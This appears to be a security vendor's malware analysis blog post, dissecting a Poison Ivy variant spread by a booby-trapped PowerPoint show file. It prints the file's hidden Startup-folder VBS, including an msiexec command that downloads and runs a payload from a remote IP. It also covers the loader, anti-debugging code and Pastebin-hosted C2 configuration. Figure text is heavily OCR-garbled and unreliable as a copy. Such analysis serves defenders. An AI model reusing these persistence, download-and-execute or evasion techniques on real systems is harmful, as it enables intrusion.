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By Xiaopeng Zhang

Published: 2017-08-23 - Archived: 2026-04-05 14:45:45 UTC

Recently, the FortiGuard Labs research team observed that a new variant of Poison Ivy was being spread through
a compromised PowerPoint file. We captured a PowerPoint file named Payment_Advice.ppsx, which is in
OOXML format. Once the victim opens this file using the MS PowerPoint program, the malicious code contained
in the file is executed. It downloads the Poison Ivy malware onto the victim’s computer and then launches it. In
this blog, I’ll show the details of how this happens, what techniques are used by this malware, as well as what it

does to the victim’s computer.

The PowerPoint Sample

Figure 1 shows a screenshot of when the ppsx file is opened.

Please Enable Your
Adobe Flash Player
Settings...

Microsoft PowerPoink Security Nokice 2 x|

@ Microsolt Office has identified a potential security concern.

Fite Path:  CiiLsersljohrdDeskiop|Payment_Adyice. ppsx

To help protect your securky, Microsaft Office has blocked the sbiliby borun an .
axternal program automatically, IF you choose to enable the extarmal Ad Q be Fla Sh Player Sett' ngS sen
programs, your dooument and compuber may no longsr be secure,

IF you wish bo rum external programs in Action Settings, dick Ensble. IF you

wish For external programs in Action settings to run automatically, dick Enable
Al, buk note that this may be a seounby risk,. Otherwise, clidk Disabla bo

continue,
Enable All (ot recommended) Enable | Disable I

Figure 1. Open Payment_Advice.ppsx
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As you can see, the ppsx file is played automatically. The “ppsx” extension stands for “PowerPoint Show,” which
opens the file in presentation mode. This allows the malicious code to be executed automatically. The warning
message box alerts the user that it might run an unsafe external program. Usually, the implied content of the

document beguiles the user into pressing the Enable button.
Let’s take a look at the malicious code embedded inside this PowerPoint file.

OOXML file is a zip format file. By decompressing this file we can see the file/folder structure, shown below.

B

Mame Ext Size Maedified
-Bs Payment_Advice 87,865 8/17/2017 10:35:05 PM
- ppt 76,123 8/17/2017 10:35:05 P
Bl theme 6,805 8/17/2017 10:35:05 PM
I slides 3,738 B/17/2017 10:35:05 PM
By _rels 967 8/17/2017 10:35:05 PM
- mslidel xml.rels rels 967 1/1/1980 12:00:00 AM
. m slidel xeml xml 2,771 1/1/1980 12:00:00 AM
-H shideMasters 14,905 B/17/2017 10:35:05 PM
Bl slidelayouts 44,550 871772017 10:35:05 PM
-l _rels 976 8/17/2017 10:35:05 PM
- viewProps.xml xml 771 1/1/1980 12:00:00 AM
--m tableStyles.xml xrl 182 1/1/198012:00:00 AM
-m presPropsxml xrl 816 1/1/198012:00:00 AM
--m presentaticn.xml xrl 3,380 1/1/198012:00:00 AM
-l docProps 7,865 B/17/2017 10:35:05 PM
-l _rels 738 8/17/2017 10:35:05 PM
--m [Content_Types].xml xml 3,139 1/1/1980 12:00:00 Ak

Figure 2. PPSX file structure

Going into its .\ppt\slides\ subfolder, slidel.xml is the slide automatically shown in Figure 1. The file
“\_rels\slide1.xml.rels” is the relationship file where the resources used in slide1.xml are defined. In slidel.xml, I

found the xml code:

<a:hlinkHover r:id="rld2" action="ppaction://program"/>

This means that when the user's mouse hovers over this element, something named “rId2” in slide1l.xml.rels file is

executed.

Figure 3 shows the relationship between them.
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TP 5P .

- <p:nvSpPr>
- <p:cNvPr name=" Actlon Button Custom 4" id="5">
<a:hlinkClick ri high 'htCI\ck— 1" action="ppaction:/ fnoaction"/=
<a:hlinkHover|r:id="rId2"[action="ppaction:/ { program"/>
<fp:cNvPr>
<p:CNVSpPr/ >
<p:nvPr/>
</p:nvSpPr>
- <p:spPrz
<a.x<f;r:no?r y="1911927" x="2890%82"/> {<7xml version="1.0" encoding="UTF-8" standalone="true"?> Ny
<atext cy="1671782" cx="6818436"/> |<Relationships xmins="http://schemas. openxmlformats org,fpackageﬂl][]ﬁfrelatlonshlps =
- allia

In slidel.xml.rels

<Jasxfrm> < Rel:[t}lgnsh{p ;:rgittr:cov:;— Ex'le 1 Dech o%lﬂSeﬁ?ﬁDﬂ;s%2?%%
ey —"acti reateObje Microsof indows
<a.|lr:t:g:&r;£rst actionButtonBlan| 225tarto20Menus oS, tun ¥ 2000
</a:prstGeom> 22cmd.exe%20 /% 20m%5es%5ei%Yo5ee% 5ex%5ee%5ec% 20/q%30/i%20h%5et%5et%
<a:noFill/> 5ep:/%5e/%5e1065e0%5e3.2%5e4%5e8.1%5e1%5e6 1%5e8%5 2%5e /% 5eim%
Svening, 5eag%5ees/Th¥oSe e 3e%25AppData®o
<anoFill/= 25/Microsoft/ Windowrs.L% 22Start% 20Menu% 22! Prog ra ms Strtup/Thumbs.vbs&%
<Ja:in= 25AppData% 25/ Microsoft,;/ W
</p:epPrs> 22_!Programs{startupﬂhumbs vbs%lu

\_ - <p:style> /schemas_openxmiformats.org/officeDocument/ 2006/ relationships/hyperlink”

<Relat nship Target="../slideLayouts/slideLayoutl.xml"
Type="http:/ fschemas.openxmlformats.org/officeDocument/ 2006/ relationships/slideLayout’
Id="rId1"/>

G;’Relationships>

»

Figure 3. The code defined in “rId2”
Being Added into the Startup Group

The code defined in “rId2” uses an echo command of cmd.exe to output vbs codes into the Thumbs.vbs file in the
“Startup” folder of the Start menu. This allows the Thumbs.vbs file to be executed when the victim’s system starts.
We’ll take a look at the content of this Thumb.vbs file below.
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A=
i

Computer  Payment A..

| @ Windows Media Player
@ Windows Update
~# XPS Viewer

. Accessories
Autolt v3 File Edit Format View Help
Set ws = Createlbject("Wscript.5hell™)
ws.run "cmd.exe fc mtstitetxtetc fg /i
3 Games Explorer hathehp: fAfA200N3 20408 1MNE. 1NN M it agtes / Thhum*bhs b m p" ,wbhide
) Java

|/ Maintenance
w Backup and Restore i 1 Thumbs.vbs - Notepad
, ¥

_'ﬂ Thumbs.vbs - Motepad

. Games

i&; Create a System Re Ple EEt Fgmat Wew Help

sk Windows Rem i Set ws = CreateObject(“Wscript.Shell”
. Microsoft Office ws.run “cmd.exe fc msiexec fq fi http://283.248.116.182/images/Thumbs.bmp”,vbhide

. Motepad++

. Process Hackgt 2 Control Panel
. Python 2.7
J Startup
 [Z] Thumbs.vbs
. SysAnalyzer Default Programs

1. WinPcap
L. WinRAR Help and Support

Devices and Printers

1  Back Run...

| Search programs and files

Figure 4. Thumb.vbs in the Startup folder and its content

The Downloaded File

Thumbs.vbs downloads a file from hxxp://203.248.116.182/images/Thumbs.bmp and runs it using msiexec.exe.
As you may know, msiexec.exe is the Microsoft Windows Installer program, which is the default handler of .MSI
files. Msiexec.exe can be used to install/uninstall/update software on Windows. The MSI file is an Installer
Package. It contains a PE file (in a stream) that is executed when it’s loaded by msiexec.exe. This PE file could be
replaced with malware to bypass any AV software detection. We have also observed that more and more malware
authors have started using this method to run their malware. The MSI file is in the Microsoft OLE Compound File

format. In Figure 5 we can see the downloaded Thumbs.bmp file content in the DocFile Viewer.
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File Tree Help
B2\ - D:AThumbs.bmp
BT
Eggggﬁ (00001 AADD bykes] o X
- b A =
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D 2 gggggggge{- I L. ITh
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EaferREEciggEn 0x000000D0: 00 E0 01 00 00 02 00 00 11 03 02 00 02 00 40 85 Y -
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Hﬁ;ff%ﬁ'?ﬂ!.ﬁﬂifriilﬂiﬂé 0=000000FD; OO0 OO0 %10 00 00 OO0 OO0 0O OO0 20 0O 00 00 OO0 00 0O e W

0=00000100: 00 00 00 QO 10 00 00 0O QO 00 00 OO0 OO0 OO0 00 00
Ox000001L0: 00 0O 00 OO0 OO0 OO0 DO OO OO0 B0 01 OO0 44 59 0O OO e |
Ox00000120: 00 00 00 00 00 00 00 0O OO0 00 00 00 00 00 Q0 00 i
Ox00000130: 00 00 00 OO OO0 O0 OO 000 00 00 00 00 00 00 0o 0o

Ox00000140: 00 00 00 OO0 OO0 OO0 OO0 0O OO0 00 0O 00 00 00 00 00

0=00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 oo

1 Ox00000160: OO0 0O 00 OO OO0 OO0 OO OO OO0 OO0 0O 0O 00 OO0 00 00 LR T A e e i
0=00000170: 00 00 00 00 OO0 OO0 00 0O 00 20 OO0 00 48 00 00 OO wmty iem viwy v wBlwn o
0x000001S50: 00 00 00 OO OO0 O DO 0O ZE 74 6% 782 74 00 0O 0O B 14 A

0=00000190: 1C 4D 01 00 00 20 00 00 00 4E 01 00 00 02 00 00 K... . H...
0=00000140: 00 00 00 Q0 00 00 00 00 00 00 00 00 20 00 00 &0
Ox000001E0: 2E 72 73 72 63 00 OO 000 OO0 60 OO 0O 0D 80 01 0O CPETC. .
0x000001C0: 00 5& 00 00 00 S0 01 00 00 00 00 00 OO0 00 00 00 L P e e v i
Ox00000100: 00 00 00 OO0 40 O0 DO 40 2E 72 65 sC &F &3 00 00 L..B. @ reloc. .
0x0D00001ED: 00 00 00 00 00 &0 01 00 OO0 00 00 00 00 S6 01 00 ! i s X

Figure 5. The downloaded Thumb.bmp in DocFile viewer

Next, I’'m going to extract this PE file from the stream into a file (exported_thumbs). By checking with a PE
analysis tool, we can see that it’s a 64-bit .Net program. This means that this malware only afftects 64bit

Windows.

Analyzing the .Net code and Running It

After putting this extracted file into dnSpy to be analyzed, we can see the entry function Main(), as shown in

Figure 6.
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Figure 6. Main function

It then calls the rGHDcvkN.Exec() function in Main(), which contains a huge array. Actually, the data in the array

is the code that is executed as a thread function by a newly-created thread.

Figure 7 clearly shows how the code in the array is executed.

rGHDcvkM.cs >

%42 rGHDcvkN -] Exec()
= hsing Syztem;
uzing System. Buntime. InteropServices;

|

Jf Token: 0x02000003 RID: 3
Slpublic class rGHDovkN
{
Jf Token: 0x06000003 RID: 3 EV4: 0x000163DC File Offset: 0x000145DC
= public static wvoid Exec()
{
IntPtr consoleWindow = rGHDovkN. GetConsoleWindow()
rGHDowkN. ShowWindow (consoleWindow, 0O ;
fFoytel] array = new bytel] Ny
{

85,
72,
137,
229,
a1, Huge Arrgy
104,
o,

&0,
1,

o,

232,

,, e -}

byte[] array3d;
if (IntPtr.Size == 8)
else
arrayd = arraye;
IntPtr intPtr = rGHDowkN. Virtualslloc(Ou, f(uint)arrayd.Length, rGHDowvkN. NEM_COMMIT, rGHDeowkN. PAGE EXE
Marshal.Copylarray3. 0. intPtr, array3.length):
IntPtr hHandle = IntPtr.Iero;
uint num = Ou;
TotPtr zepo = IptPtr, Jero.
IhHa.ndle = rGHDewvkN. CreateThread (0w, Ou, intPtr, zero, Ou, ref nu.m);l
riHDowvkN, WaitlorsingleUbject thHandle, 429496724000 ;

100 % -

Figure 7. .Net program runs a thread to execute the code in a huge array

If the code is run on a 64-bit platform, IntPtr.Size is 8. So the huge array is passed to array3. It then allocates
memory buffer by calling rGHDcvkN. VirtualAlloc() and copies the code from array3 into the new memory by
calling Marshal.Copy(). It eventually calls rGHDcvkN.CreateThread() to run the code up.

I started the .Net program in the debugger, and set a breakpoint on CreateThread API to see what the array code

would do when it’s hit. Per my analysis of the array code, it is a kind of loader. Its main purpose is to dynamically
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load the main part of the malware code from the memory space into a newly-allocated memory buffer. It then
repairs any relocation issues according to the new base address and repairs APIs’ offset for the main part code.

Finally, the main code’s entry function is called.

Anti-Analysis Techniques

1. All APIs are hidden. They are restored when being called. The snippet below is the hidden

CreateRemoteThread call.

sub_1BOE6122 proc near
mov  rax, OFFFFFFFF88E23B10h
neg rax
jmp  rax ;; CreateRemoteThread
sub_1BOE6122 endp

2. All strings are encrypted. They are decrypted before using. For example, this is the encrypted “ntdll”

string.
unk_1AFD538C db 54h, 0B2h, 9Bh, OF1h, 47h, 0Ch ; ==> "ntdll"
3. It runs a thread (I named it ThreadFun6) to check if the API has been set as a breakpoint. If yes, it calls
TerminateProcess in another thread to exit the process immediately. The thread function checks all APIs in

the following modules: “ntdll”, “kernel32”, “kernelbase” and “user32”. In Figure 8, you can see how this

works:
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aew

moy [Fsp-B+arg 8], rbx

push rbp

mou rhp, rsp

sul rsp, Sin

lea rdx, wnk_1AFDS38C ; ==> “ntdll™

lea rex, [rFhprvar_20]

mow rid, 72ZEDE23INN

call Pecrypt_String_fun

mou rox, Fax

call sub_TAFD18as

mov rcE, rax

call cs:call_GetModuleHandled ; GetHoduleHandlen
lea 8, ThreadFund ;5 To check if the exported API of ntdll is set breakpoint.
®or

mou

lea +arg_\]

®or

mow S@hsvar_28], rax

and +yar_38], @

call cs:call CreateThread ; ;;;ThreadFuné
mou

call cs:rall_CloseHandle ; CloseHandle

lea rey, [rbprwar_28]
test » BAX
ase
ThreadFuné proc near ; DATA XREF: sub 1AFD2268+38T0
; sub_1AFDZ26h+A3T0
var_24 = duord ptr -28h
var_28 = gquord ptr -2@h
arg_# = byte ptr &
noyw ri11, rsp
nau [r11+1Bh], rbx
nou [F11+1Bh], rhp
push rsi
push rdi
push P12
sub rsp, J@h
nou rbx, rcx
test FCX, FCX i airas module base address
jnz short loc_1AFD245
nay rbx, [r11#18h]
nou rbp, [F11+18h]
®or eax, eax
add rFsp, Jbh
pop ri2
pop rdi
pop rsi
retn
1oc_TAFD2452: ; CODE XREF: ThreadFund=197]
mousxd rax, dword ptr [rcx+3Ch]
wor edi, edi
i ebp, [raxsros+8h]
nou ri12d, [rbp+rocx+iCh]
add r12, rox
xar esi, esi
loc_1AFD2h6G9: i CODE XREF: ThreadFun6+ASyj
o BCH, BCH
cp [Fhpsrbxe14h], ecx
jle short loc_1AFD2REC
mou rid, [rbprrbxeisn]
mow rdx, r12
loc 1AFDZHTS: 3 LODE XREF : Threanrunﬁ*ﬁﬁ;j
miny eax, [rix]
crp byte ptr [rax+rbx], @CCh ;BCCH is binary of instruction int3. ie. soft breakpoint.
jnz short loc 1AFD2E83
inc (=]
loc_ 1AFD2LEE: 1 CODE XREF: ThreadFun&+SBTj
adi rig, 4
dec ra
jnz short loc_1AFD25E79 ; ;;ge through all export APIs in this module.
loc_1AFD2HEC: ; CODE XREF: ThreadFunb+4BTj
test esi, esi
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jnz
mowy
mow

loc_1AFD2h97:

C
jz
mow
lea
sar
mow
and
wor
®or
call

loc_1AFD2HBE :
Mo
call
inp
ThreadFund endp
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short loc_TAFDZRY7
edi, ecx
esi, 1

; CODE XREF: ThreadFunb+&6aTj
edi, ecx
short loc_1AFD2EBE
ri, cs:icall RtlExitlserProcess ;Exit process when soft breakpoint detected on APIs.
rax, [rsp+4Bh+arg_ 0]
vid, P
[rspraBhevar_208], rax
[Fspsughsvar 28], ©

edx, edx
BCX, BCX ; s:exit if error
cs:call_CreateThread ; CreateTheead

7 CODE XREF : IhrEidfunE+!bTi
eck, 3EEN
csicall_Sleep ; Sleep

short loc_1AFDZ2hGY

Figure 8. Checking for breakpoints on exported APIs in “ntdll”

4. It runs a thread to check if any analysis tools are running. It does this by creating specially named pipes

that are created by some analysis tools. For example, “\\.\Regmon” for registry monitor tool RegMon;
“\.\FileMon” for local file monitor tool FileMon; “\.\NTICE” for Softlce, so on.

If one of the named pipes cannot be created, it means one of the analysis tools is running. It then exits process

soon thereafter.

5. It then goes through all the running program windows to check if any windows class name contains a

special string to determine if an analysis tool is running. For example, “WinDbgFrameClass” is Windbg

main window’s class name. This check runs in a thread as well (I named it as Threadfun3). Below, Figure 9

shows how this thread function works.

ThreadFun3 proc near ; DATA XREF: main+1ESTo

sub

loc_1AFD223C:
call
lea
nov
nov
call
nov
call
inp

ThreadFun3 endp

rsp, 28h

; CODE XREF: ThreadFun3+28]j
cs:call GetForegroundWindow ; GetForegroundWindow
rdx, sub_1AFD2864 ; ;;;;Function to check windows class name. for exmaple windbg
r8, rax
FCcx, rax
cs:call EnumChildWindows ; EnumChildWindows
ecx, 3EBh
cs:call_Sleep ; Sleep
short loc_1AFD223C

Figure 9. Check Windows’ Class Name

6. By checking to see if the “Wireshark-is-running-{...}” named mutex object exists (by calling OpenMutex),

it could implement anti-WireShark.

7. By calling the API “IsDebuggerPresent”, it can check to see ] if this process is running in a debugger

(returns with 1). It’s a kind of anti-debugging check. It also checks how much time is spent by calling

IsDebuggerPresent. If the time is more than 1000ms, it means that the process runs in a debugger or VM,

and it then exits the process.

These are all the ways that this malware performs anti-analysis. Most of these checks run in their own threads, and

are called every second. It then exits the process if any check is matched.
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To continue the analysis of this malware, we have to first skip these checks. We can dynamically modify its code

)

to do so. For example, changing “IsDebuggerPresent”’s return value as 0 allows us to bypass the running-in-

debugger detection.
Generating A Magic String from a Decrypted String

By decrypting three strings and putting them together, we get the magic string "Poison Ivy C++", which will be

saved in a global variable qword_1BOE4A10. From the code snippet below you can see how it makes this string.

; CODE XREF: main+4ACTj -
lea rdx, unk_1AFD5268 ; ;;;"Poison " [
lea rcx, [rhp+uar_2@] '
mov r8d, BCY5F4388h
call Decrypt_String_fun
mov Fcx, rax
call sub_1AFD10888 ; :WideCharToMultiByte
moy rFcx, cs:qword_1BBE4A1A
mowv rdx, rax
call cs:call 1strcat ; 1strcat
1ea rcx, [rhp+var_20]
call sub_1AFDA4CSH ; ::calling HeapFree
lea rdx, unk_1AFDS27Y4 ; ;55 "Iwyg ™
1lea rcx, [rbp+var_20]
mov r8d, BF7FBBE3DDh
call Decrypt_String_fun
mov Fcx, rax
call sub_1AFD10888 ; :WideCharToMultiByte
moy rFcx, cs:qword_1BBE4A1A
mowv rdx, rax
call cs:call 1strcat ; 1strcat
1ea rcx, [rhp+var_26]
call sub_1AFDA4CSH ; ::calling HeapFree
lea rdx, unk_1AFDS27C ; ;5 "C++"
1ea rcx, [rhbp+var_20]
mov r8d, Z1EBED48I
call Decrypt_String_fun
mov Fcx, rax
call sub_1AFD10888 ; :WideCharToMultiByte
mowv rcx, cs:qword 1BBE4A1B ; ;;;; "Poison Iwvy C++"
mowv rdx, rax
call cs:call _1strcat ; 1strcat
1ea rcx, [rhp+var_20]
call sub_1AFDA4CSH ; ::calling HeapFree

Figure 10. Generating the magic string
Hiding Key-functions in Six Different Modules

It next loads several modules from its encrypted data. It creates a doubly-linked list, which is used to save and
manage these loaded modules. There are many export functions from each of these modules that achieve the
malware’s main work. In this way, it’s also a challenge for dynamic debugging. The variable qword_1AFE45D0

saves the header of that doubly-linked list. Each object in the list has the structure below:
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+00H pointer to previous object in the list

+08H pointer to next object in the list

+18H for Critical Section object use

+28H the base address of the module this object is related to
+30H pointer to export function table

It then decrypts and decompresses six modules one by one, and adds each of them into the doubly-linked list.

Figure 11 shows a code snippet from decrypting these six modules.

| [E oa views B | [Eoavewt [ | [Eoavenc D) | Emavews ] | [Eoavewe ) | Emavens ) | Bl rexvew1 | Elewms [ | F&mpors [ | 5 ot
seqB00:000008061AFD11FA o~
<eqgB08:6000068061AFD11F8 sub_1AFD11FB proc near ; DATA XREF: main+12Cjo I
Seq@0A:A0BBAAABIAFDI1FA i
5eq000:0000086801AFD11FO arg 8 = quord ptr 10h
seqB00:600006061AFD11FA
seqgB@0:6000088061AFD11FA push rbx
Seqdaf: 000e0BARATAFD11F2 sub rsp, 28h
seqB@0:000000061AFD11F6 and [rsp+28h+arg_8], @
seqgB@f:600008061AFD11FC lea rdx, dynamic_coded
seq0f8: ABARBAAATAFD12 63 1lea rcx, [rFsp+28h+arg_8]
seqd@f: 000000061AFD 1208 moy r8d, 24EFh ; Modulet
segB00:0000000801AFD12BE call Decrypt_code ; r8d is code size, rdx is encrypted code.
SeqB0f:apee0aABB1AFD1213 lea rdx, dynamic_code2?
seq@8d: IEARBAEAT1AFD121A lea rcx, [rFsp+28h+arg_8]
seqB@8:000000061AFD121F mou r8d, 3328h ; Hodule2?
seq@e0:80A0A8AB1AFD 1225 call Decrypt_code ; r8d is code size, rdx is encrypted code.
SeqA0A:6pBBAABATAFD122A lea rdx, dynamic_code3
5eq000:0000886801AFD1231 lea rex, [Fsp+28h+arg 8]
seqBB0:000000061AFD1236 mow r8d, 2AF3h ; HModule3d
seq0e0:0000A8ADT1AFD123C call Decrypt_code ; ¥8d is code size, rdx is encrypted code.
SeqHAn: 00BAARABTAFD 1241 lea rdx, dynamic_codely
seqBB0:000000061AFD1248 lea rcx, [rsp+28h+arg_8]
seqgBB8:6000008061AFD124D mov r8d, 13ECh ; Moduled
seq00e0:80AAABABTAFD1253 call Decrypt_code ; ¥8d is code size, rdx is encrypted code.
seqd@f: 000000061AFD 1258 lea rdx, dynamic_codeS
seqgBBf:6000008061AFD125F lea rcx, [rsp+28h+arg_8]
Seqo0n:apeeaBRBa1AFD1264 mov r8d, 14A%h ; Module5, including socket related functions
seqd00: 8000088AB1AFD126A call Decrypt_code ; ¥8d is code size, rdx is encrypted code.
seqB@0:000000061AFD126F lea rdx, dynamic_coded
seqgBBf:600008061AFD1276 lea rcx, [rsp+28h+arg_8]
Seq@0A:0pBBAARATAFDI127E moy r8d, 261Dh ; Moduleé
5eg000:000000801AFD1281 call Decrypt_code ; r8d is code size, rdx is encrypted code.
seqgBB8:6000008061AFD 1286 cmp cs:quword_1AFE4SDB, B
SeqgB0f:apeeeARB1AFD128E jnz short loc_1AFD12GE
seqd@f:0000BBA1AFD1298 moy ecx, 48h
seqB@0:000000061AFD1295 call sub_1AFD2728 ; RtlallocateHeap rocx is size
seqgBB8:600006061AFD129A mov rbx, rax
Seq@@A:0pBBAARATAFD129D test rax, rax
00001248 000000001AFD1248: sub 1AFDI1F0+458 (Synchronized with Hex View-1) fl
4 mn 13

Figure 11. Decrypting and decompressing modules

Each module has an Initialization function (like DIIMain function for DIl files) that is called once the module is

completely decrypted and decompressed. Three of these modules have an anti-analysis ability similar to the one I

described in the Anti-Analysis section above. So to continue the analysis of this malware, I needed to modify their

codes to bypass their detection function.

After that it calls the export functions of those modules. It decrypts the configuration data from the buffer at

unk_1AFE3DAO. This configuration data is decrypted many times during the process running, and it tells the

malware how to work. I’1l talk more about the configuration data in a later section.

The malware then picks a string from the configuration data, which is “%windir%\system32\svchost.exe”. It later

calls CreatProcess to run svchost.exe, and then injects some code and data from malware memory into the newly-

created svchost.exe. It finally calls the injected code and exits its current process. The malware’s further work is

now done in the svchost.exe side.

Starting over in SVCHOST.exe
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Through my analysis I could see that the injected codes and data represent the entire malware. It all starts over
again in the svchost.exe process. Everything I have reviewed about is repeated in svchost.exe. For example,
executing the anti-analysis detection code, getting the magic string, creating a doubly-linked list, decrypting six

modules and adding them into the doubly-linked list, and so on.

It then goes to different code branch when executing the instruction 01736C2 cmp dword ptr [rdi+0Ch], 1 in
module?. [rdi+0ch] is a flag that was passed when the entire code was initialized. When the flag is 0, it takes the
code branch to run svchost.exe and inject code in it; when it’s 1, it takes the code branch to connect to the C&C

server. Before the injected code in svchost.exe is executed, the flag is set to 1. Figure 12 shows the code branches.

- A

nov rdi, [rocx+8]
call sub_173BD@ ; :;:;CreateFilemappingA HapUiewOfFile
nov rcx, rbx
call quord ptr [rax+8] ; ;;;lafd3004
cnp dword ptr [rdi+8Ch], 1
jz short loc_173735,; ; go to continue malware work in suchest.exe
cnp dword ptr [rdi+BCh e
jnz short log_1736D5 ; ; %go run suchost.exe up.
call sub_1732R4 %\
jmp short 1of_17373n S
H | -
I ..
loc_1736D5: 5 CODE XREF: sub_173614FPR1 i
®or ebx, Eh"m. loc_1737 ; CODE XREF: sub_173614+827j
cmp [rsi+a] ] bx ; 33rsi ostill poin b ¥ : sub_173614+F81] ...
jz short 1dc 173788 ; ;5553555 call sub_173414 ; continue malware work in suchost.exe
lea rax, [rgp+58h+arg_ 0]
lea r8, a_tﬁ"ead_ﬂl" i osssto CreatWinlyec 17373a: ; CODE XREF: sub_173614+BFTj
=01 rod, ro nou rbx, [rsp+58h+arg_8]
mou [rspr58lrvar_38], rax mov rsi, [rsp+58h+arg_10]
xor edx, ed“ add rsp, 56h
xor ecx, e%: pop rdi
nov [rsp+58h+var_38], ebx retn
call cs:calll CreateThread ; CreateThredlgyp 173614 endp
nou rex, r
call cs:call CloseHandle ; CloseHandle
loc_173708: I ; GODE XREF: sub_173614+c71]
cnp [rsi+ !h], bx
jz short \Yoc_173735 ;
call sub_173F38 ; s::;createprocess suchost_exe
test eax, eax
jnz short loc_173735 ; ;;;
call cs:call_GetCurrentProcess ; GetCurrentProcess
xor edx, edx
nov rex, rax

Figure 12. Snippet of code branches

Obtaining the C&C Server from PasteBin

The C&C server’s_IP addresses and ports are encrypted and saved on the PasteBin website. PasteBin is a text code
sharing website. A registered user can paste text code on it in order to share the text content to everyone. The
malware author created 4 such pages, and put the C&C server IP addresses and ports there. Do you remember

when I talked previously about encrypted configuration data? It contains the 4 PasteBin URLs. They are

hxxps://pastebin.com/Xhpmhhuy
hxxps://pastebin.com/m3TPwxQs
hxxps://pastebin.com/D8A2azM8
hxxps://pastebin.com/KQAxvdv]

Figure 13 shows the decrypted configuration data.
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0 1 ¢ 3 4 5 & ¢ 8 9 3 b ¢ d e f =
00000000h: 91 OC F5 4F 12 34 56 78 00 00 OO0 00 00 00 09 08 ; [.BH.4VE........

o0000010h: OO OO0 09 05 01 00 13 00 96 00 00 00 AL OO0 DS 00 ¢ ... .... P ??

000000Z0h: DD OO0 ES OO0 ED 00 O1 00 a0 a0 05 01 06 01 07 01 &2 227 ....0.00.0.s

o0000030h: 05 01 26 01 27 01 28 01 29 01 00 00 00 00 00 00 @ .. &.'.fa)eeennns
Qo0000040h: OO0 OO0 OO0 OO0 00 00 00 00 00 a0 OO0 00 00 00 00 00 2 &@. .. eennnnnnnns
00000050h: OO0 00 OO0 00 00 00 00 00 ad o 00 00 00 00 00 00 2 ... e ee s e nnnnns
00000060Kk: OO0 OO0 OO0 OO0 00 00 00 00 ad ad 00 00 00 00 00 00 & ... e e e s e nns
o0000070h: OO0 OO0 OO0 OO0 00 00 00 00 00 a0 OO0 00 00 00 00 00 & &@. .. e nnnnnnnns
00000030h: OO0 00 OO0 00 00 00 00 00 ad a0 00 00 00 00 00 00 2 oo evennnnnnnns
00000090k: 00 00 OO0 OO0 00 00 00 00 oo oo 1E 00 3C 00 52 00 @ ... .2,
o00000a0h: 75 OO0 OO0 OO0 00 00 00 00 00 a0 OO0 00 00 00 00 00 7 X.o.. e evnnnnnns
000000k0Oh: OO0 OO0 OO0 00 00 00 00 00 a0 a0 OO0 00 00 00 00 00 2 oo evennnnnnnns
000000c0h: OO0 OO0 OO0 00 00 00 00 00 ad ad 00 00 00 00 00 00 @ ... e ee e e e nns
o00000d0h: OO0 OO0 OO0 00 00 00 00 00 00 o0 OO0 00 00 00 00 00 2 &@. .. eennnnnnnns
00000020h: OO0 OO0 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 2 .. evennnnnnnns

000000£0h: OO0 OO0 OO0 00 58 02 00 00 55 02 00 00 00 00 0o oo @ ... .. E. ...
o0000100h: OO0 OO0 OO0 01 00 00 00 OO0 a0 ad 00 00 00 00 00 00 & &. ... eeennnnnnnn
00000110h: OO0 00 OO0 OO0 00 00 00 00 a0 a0 00 00 00 6B 77 77 7 o eeevennnnns kurr

0000012Z0h: 33 44 35 45 55 45 37 49 71 70 65 52 6D 79 00 50 ; 3DSEXE7IgpeRmy.F
O0000130h: 61 73 74 65 42 69 6E 35 33 00 68 74 74 70 73 3k ; ?;EEEEEEEJEEEE;?
00000140h: 2F 2F 70 61 73 74 65 62 69 6E 2E 63 6F 6D 2F 58 ; [[7pastebin.cown/
00000150h: 68 70 6D 68 65 75 79 00 68 74 74 70 73 34 2F ZF ; |hpwhhuy.https://
00000160k: 70 61 73 74 65 62 69 6E 2E 63 6F 6D 2F 6D 33 54 ; |pastebin.com/m3T
00000170h: 50 77 78 51 73 00 65 74 74 70 73 34 2F 2F 70 61 ; |PwxQs.https://p

00000180h: 73 74 65 62 69 6E 2E 63 6F 6D 2F 44 35 41 32 61 ; |stebin.com/DSAZ

00000190k: 74 4D 35 00 65 74 74 70 73 34 2F 2F 70 61 73 74 : |[zM5.https://past
000001a0h: 65 62 69 6E 2E 63 6F 6D 2F 4B 51 41 78 76 64 76 ; [ebin.comdEQhxvdy
000001kOh: 44 00 25 50 72 6F 67 72 61 6D 44 61 74 61 25 SC ; [Jf3Frogrambatas,
000001cOh: 54 65 73 74 S5C 00 53 4F 46 54 57 41 52 45 5C 4D ; Test).SOFTWAREY N
000001d0h: 62 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 ; icrosoft)Windows
000001e0h: S5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C ; ‘CurrentVersion)
O00001f0h: 52 75 6E OO 54 65 73 74 00 54 65 73 74 53 76 63 ; Run.Test.TestSvc
000002Z00h: 00 54 65 73 74 53 76 63 00 54 65 73 74 53 76 63 ; .TestSve.TestSve
00000Z10h: 20 57 69 6E 64 6F 77 73 20 53 65 72 76 69 63 65 ; Windows Service
00000Z20h: 00 OO0 OO0 OO 25 77 69 6E 64 69 72 25 5C 73 79 73 ; ... fwindirs:ovs
00000230h: 74 65 6D 33 32 5C 73 76 63 68 6F 73 74 2E 65 78 ; [Cemsz’svchost.ex
00000z 40h: 65 00 OO0 OO 00 25 77 69 G6E 64 69 72 25 5C 65 78 ; ..awindirs)ex
00000Z50h: 70 6C 6F 72 65 72 2E 65 78 65 00 00 00 00 00 00 ; plorer.exe......
00000Z60k: 00 OO0 OO0 OO OO OO0 OO0 OO 00 OO0 OO0 00 D e

Figure 13. Decrypted configuration data

If you access any one of these URLSs, you will find there are normal Python codes on it. The encrypted server IP

address and port are hidden in the normal python code. Let’s take a look.
While looking at the main function you will find the code below:

win32serviceutil. HandleCommandLine({65YbRI+gEtviZpoOqw6CrNdWDoev}), the data between “{“ and “}”, is

the encrypted IP address and port. See Figure 14 for more information.
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- O X
e : https://pastebin.com/D8A2azIME p-ac| oy E
[0 [C++] DBAZaZMSE - Pastebin, * | |

C++ 0.95 KB raw download done embed report  print

1. import win32serviceutil
2. import win32service

from multiprocessing import Process

w

import helloworld

n

2. rlass service(win32serviceutil.ServiceFramework) :
_svc_name_ = "TestService"
18, _svc_display_name_ = "Test Service™
11. _svc_description_ = "Tests Python service framework by receiving and echoing

12. messages over a named pipe”

14, def _ init_ (self, *args):

1L super(}.__init_ (*args)

17. def svcstop(self):
18. self.reportservicestatus(win32service.SERVICE_STOF_PENDING)
o self.process.terminate()

